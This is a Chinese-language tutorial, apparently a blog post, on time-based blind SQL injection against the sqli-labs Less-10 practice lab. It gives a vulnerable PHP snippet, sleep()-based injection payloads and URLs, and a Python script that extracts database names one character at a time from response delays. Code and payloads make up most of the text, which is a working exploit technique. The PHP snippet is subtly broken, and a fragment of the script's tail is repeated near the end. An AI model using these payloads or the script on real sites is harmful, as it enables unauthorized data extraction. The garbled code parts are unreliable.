我们在上一章节已经基本了解了盲注的概念和布尔盲注,时间注入与布尔盲注原理类似,也是盲注的一种。
什么是时间注入
时间注入、时间盲注、延时注入都是它,它使用在一种比布尔盲注还要极端的状态
<?php
error_reporting(E_ALL&~E_WARNING);
include("../sql-connections/sql-connect.php");
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE od = 'id' limit 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
}
else
{
echo "";
}
就如上面代码所诉,代码存在SQL注入漏洞,然而页面即不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内容来进行判断。
这时候我们就需要通过构造语句,来通过页面响应的时长来判断信息,这就是时间盲注
时间盲注的方法
构造语句
构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行
核心语法:
if(left(user(),1)='a',0,sleep(3));
语句构造方式与布尔盲注基本类似,只是在外面加了一层if判断,判断为真返回第二个值,不成功返回第三个值sleep(3)
真实场景常用语法:
if(ascii(substr(database(),1,1))>115,0,sleep(3));
实际练习
使用场景sqlibs-less10
我们打开源代码可以发现,第十关无论是否执行成功,返回结果都是 You are in…
http://127.0.0.1/Less-10/?id=1" and if(left(user(),1)='s',0,sleep(10))-- #
我们这里猜测user()的第一个字符是s,能够明显的感觉到网页加载速度的变慢
而如果网页速度没有变慢,则说明,我们的判断值是对的,我们就可以通过这样的方式来一个一个拆解判断获取正确的值
为了匹配更多的场景,取消单引号的出现必不可少,为了提高效率也可以使用二分法来判断,所以我们使用得更多的就是
http://127.0.0.1/Less-10/?id=1" and if(ascii(substr(database(),1,1))<105,0,sleep(10))-- +
同样的,我们就可以判断当前库名首字母大于或等于105
为了方便检测,我们使用python3来写一个脚本
引入库requests(发送http请求)和time(获取时间)
import requests
import time
url = 'http://127.0.0.1/Less-10/?id=1' #存在时间盲注的地址
database = 'select schema_name from information_schema.schemata' #查库名
column = 'select column_name from information_schema.columns where table_name="table_name"' #查列名:不同的列只需要替换table_name表名(如果使用十六进制可以不加引号)
table = 'select table_name from information_schema.tables where table_schema=database()' #查表名:不同库的表只需要修改database()(如果使用十六进制可以不加引号)
result = ''
for i in range(1,30): # 字符串长度截取
for j in range(48,122): # ascii码值
payload = '" and if(ascii(substr(({} limit 0,1),{},1))={},sleep(5),1)--+'.format(database,i,j)
# 因为测试场景会有大量的失败,所以这里选择成功延时,失败不延时
# 测试第二个库只需要修改limit 1,1 依次类推
stime = time.time() #开始时间
r = requests.get(url+payload)
etime = time.time() #结束时间
if etime-stime >= 3: # 要排除网络环境的影响
result += chr(j) # j是结果,转换回字母
print(result)
break
运行结果
这里就不进行更多的演示了
境的影响
result += chr(j) # j是结果,转换回字母
print(result)
break
运行结果
这里就不进行更多的演示了
![image-20200807185134533](https://imgconvert.csdnimg.cn/aHR0cHM6Ly9za3lzdGFycnktMTI1MTE1NzI0Ny5jb3MuYXAtY2hlbmdkdS5teXFjbG91ZC5jb20vaW1nL2ltYWdlLTIwMjAwODA3MTg1MTM0NTMzLnBuZw?x-oss-process=image/format,png)